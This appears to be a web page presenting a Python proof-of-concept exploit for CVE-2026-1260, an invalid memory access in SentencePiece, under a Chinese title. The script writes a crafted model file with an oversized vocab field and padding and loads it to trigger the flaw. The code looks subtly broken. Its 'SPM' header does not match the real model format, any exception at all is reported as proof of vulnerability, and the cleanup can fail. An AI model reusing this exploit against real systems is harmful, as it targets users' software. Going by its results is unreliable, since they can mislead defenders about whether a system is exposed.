CVE-2026-1260 SentencePiece无效内存访问漏洞

#!/usr/bin/env python3 """ CVE-2026-1260 PoC - SentencePiece Invalid Memory Access This PoC demonstrates the vulnerability in SentencePiece < 0.2.1 when processing malicious model files. WARNING: For educational and security research purposes only. """ import struct import os def create_malicious_model(): """ Create a malicious SentencePiece model file that triggers invalid memory access in vulnerable versions. """ # SentencePiece model file header structure header = b'SPM' # Magic number version = struct.pack('<I', 1) # Version 1 # Malicious parameters that trigger memory issues # Negative values or invalid sizes can cause out-of-bounds access vocab_size = struct.pack('<I', 0x7FFFFFFF) # Invalid vocab size # Create malformed model data model_data = header + version + vocab_size # Add malicious padding that may cause buffer issues model_data += b'\x00' * 10000 # Large padding model_data += b'\xFF' * 1000 # Invalid bytes return model_data def exploit_sentencepiece(): """ Attempt to trigger the vulnerability by loading malicious model """ try: import sentencepiece as spm # Create temporary malicious model file model_path = '/tmp/malicious_model.model' with open(model_path, 'wb') as f: f.write(create_malicious_model()) # Try to load the malicious model sp = spm.SentencePieceProcessor() sp.Load(model_path) # This may trigger invalid memory access print('[+] Model loaded successfully - system patched') return False except Exception as e: print(f'[-] Vulnerability triggered: {type(e).__name__}') print(f'[-] Error: {str(e)}') return True finally: if os.path.exists(model_path): os.remove(model_path) if __name__ == '__main__': print('CVE-2026-1260 SentencePiece PoC') print('=' * 50) vulnerable = exploit_sentencepiece() if vulnerable: print('[!] System is VULNERABLE') else: print('[+] System is NOT vulnerable or patched')